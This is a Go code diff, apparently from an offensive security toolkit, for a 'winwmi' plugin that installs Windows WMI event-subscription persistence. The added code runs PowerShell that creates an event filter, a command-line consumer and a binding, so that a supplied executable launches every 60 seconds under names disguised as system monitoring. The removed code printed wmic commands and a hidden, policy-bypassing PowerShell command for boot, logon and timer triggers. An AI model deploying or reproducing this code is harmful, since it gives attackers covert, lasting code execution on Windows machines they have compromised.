NewWinWMIPlugin 创建Windows WMI事件订阅持久化插件 func NewWinWMIPlugin() *WinWMIPlugin { - return &WinWMIPlugin{ BasePlugin: plugins.NewBasePlugin("winwmi"), } } -// Scan 执行Windows WMI事件订阅持久化 - 直接实现 func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - _ = session.State - var output strings.Builder - - // 从config获取配置 - pePath := config.WinPEFile - - - if runtime.GOOS != "windows" { - output.WriteString("Windows WMI事件订阅持久化只支持Windows平台\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), - } - } - + pePath := session.Config.WinPEFile if pePath == "" { - output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("未指定PE文件"), + return &plugins.Result{Success: false, Error: fmt.Errorf("未指定PE文件,使用 -win-pe 参数")} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("PE文件不存在: %s", pePath)} + } + + absPath, _ := filepath.Abs(pePath) + baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) + + filterName := fmt.Sprintf("SysMon_%s", baseName) + consumerName := fmt.Sprintf("SysExec_%s", baseName) + + ps := fmt.Sprintf(`$ok = 0 +try { + $f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance() + $f.Name = "%s"; $f.EventNameSpace = "root\cimv2"; $f.QueryLanguage = "WQL" + $f.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" + $f.Put() | Out-Null; $ok++; Write-Output "[OK] EventFilter" +} catch { Write-Output "[FAIL] EventFilter: $_" } +try { + $c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance() + $c.Name = "%s"; $c.ExecutablePath = "%s"; $c.CommandLineTemplate = "%s" + $c.Put() | Out-Null; $ok++; Write-Output "[OK] Consumer" +} catch { Write-Output "[FAIL] Consumer: $_" } +try { + $fi = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='%s'" + $co = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='%s'" + $b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance() + $b.Filter = $fi.__PATH; $b.Consumer = $co.__PATH + $b.Put() | Out-Null; $ok++; Write-Output "[OK] Binding" +} catch { Write-Output "[FAIL] Binding: $_" } +Write-Output "TOTAL:$ok"`, + filterName, consumerName, absPath, absPath, filterName, consumerName) + + out, _ := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput() + result := string(out) + + var output strings.Builder + successCount := 0 + for _, line := range strings.Split(result, "\n") { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, "[OK]") || strings.HasPrefix(line, "[FAIL]") { + output.WriteString(line + "\n") + } + if strings.HasPrefix(line, "[OK]") { + successCount++ } } - // 检查目标文件是否存在 - if _, err := os.Stat(pePath); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } + if successCount > 0 { + common.LogSuccess(i18n.Tr("winwmi_success", successCount)) } - // 检查文件类型 - if !p.isValidPEFile(pePath) { - output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("无效的PE文件"), - } - } - - output.WriteString("=== Windows WMI事件订阅持久化 ===\n") - output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) - - // 创建WMI事件订阅持久化 - wmiSubscriptions, err := p.createWMIEventSubscriptions(pePath) - if err != nil { - output.WriteString(fmt.Sprintf("创建WMI事件订阅持久化失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(fmt.Sprintf("创建了%d个WMI事件订阅持久化项:\n", len(wmiSubscriptions))) - for i, subscription := range wmiSubscriptions { - output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, subscription)) - } - output.WriteString("\n✓ Windows WMI事件订阅持久化完成\n") - - common.LogSuccess(i18n.Tr("winwmi_success", len(wmiSubscriptions))) - return &plugins.Result{ - Success: true, + Success: successCount > 0, Type: plugins.ResultTypeService, Output: output.String(), - Error: nil, } } -// createWMIEventSubscriptions 创建WMI事件订阅 -func (p *WinWMIPlugin) createWMIEventSubscriptions(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) - if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %w", err) - } - - var wmiSubscriptions []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] - - wmiEventConfigs := []struct { - filterName string - consumerName string - bindingName string - query string - description string - }{ - { - filterName: fmt.Sprintf("SystemBootFilter_%s", baseNameNoExt), - consumerName: fmt.Sprintf("SystemBootConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("SystemBootBinding_%s", baseNameNoExt), - query: "SELECT * FROM Win32_SystemConfigurationChangeEvent", - description: "System Boot Event Trigger", - }, - { - filterName: fmt.Sprintf("ProcessStartFilter_%s", baseNameNoExt), - consumerName: fmt.Sprintf("ProcessStartConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("ProcessStartBinding_%s", baseNameNoExt), - query: "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'", - description: "Explorer Process Start Trigger", - }, - { - filterName: fmt.Sprintf("UserLogonFilter_%s", baseNameNoExt), - consumerName: fmt.Sprintf("UserLogonConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("UserLogonBinding_%s", baseNameNoExt), - query: "SELECT * FROM Win32_LogonSessionEvent WHERE EventType=2", - description: "User Logon Event Trigger", - }, - { - filterName: fmt.Sprintf("FileCreateFilter_%s", baseNameNoExt), - consumerName: fmt.Sprintf("FileCreateConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("FileCreateBinding_%s", baseNameNoExt), - query: "SELECT * FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\Windows\\\\System32\\\\'", - description: "File Creation Monitor Trigger", - }, - { - filterName: fmt.Sprintf("ServiceChangeFilter_%s", baseNameNoExt), - consumerName: fmt.Sprintf("ServiceChangeConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("ServiceChangeBinding_%s", baseNameNoExt), - query: "SELECT * FROM Win32_ServiceControlEvent", - description: "Service State Change Trigger", - }, - } - - for _, config := range wmiEventConfigs { - filterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`, - config.filterName, config.query) - - consumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`, - config.consumerName, absPath, absPath) - - bindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`, - config.filterName, config.consumerName) - - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Filter] %s", config.description, filterCmd)) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Consumer] %s", config.description, consumerCmd)) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Binding] %s", config.description, bindingCmd)) - } - - timerFilterName := fmt.Sprintf("TimerFilter_%s", baseNameNoExt) - timerConsumerName := fmt.Sprintf("TimerConsumer_%s", baseNameNoExt) - - timerQuery := "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'" - - timerFilterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`, - timerFilterName, timerQuery) - - timerConsumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`, - timerConsumerName, absPath, absPath) - - timerBindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`, - timerFilterName, timerConsumerName) - - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Filter] %s", timerFilterCmd)) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Consumer] %s", timerConsumerCmd)) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Binding] %s", timerBindingCmd)) - - powershellWMIScript := fmt.Sprintf(` -$filterName = "PowerShellFilter_%s" -$consumerName = "PowerShellConsumer_%s" -$bindingName = "PowerShellBinding_%s" - -$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ - Name = $filterName - EventNameSpace = "root\cimv2" - QueryLanguage = "WQL" - Query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType=2" -} - -$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ - Name = $consumerName - CommandLineTemplate = '"%s"' - ExecutablePath = "%s" -} - -$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ - Filter = $Filter - Consumer = $Consumer -}`, baseNameNoExt, baseNameNoExt, baseNameNoExt, absPath, absPath) - - powershellCmd := fmt.Sprintf(`powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "%s"`, powershellWMIScript) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[PowerShell WMI Setup] %s", powershellCmd)) - - return wmiSubscriptions, nil -} - -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinWMIPlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// 注册插件 func init() { RegisterLocalPlugin("winwmi", func() Plugin { return NewWinWMIPlugin()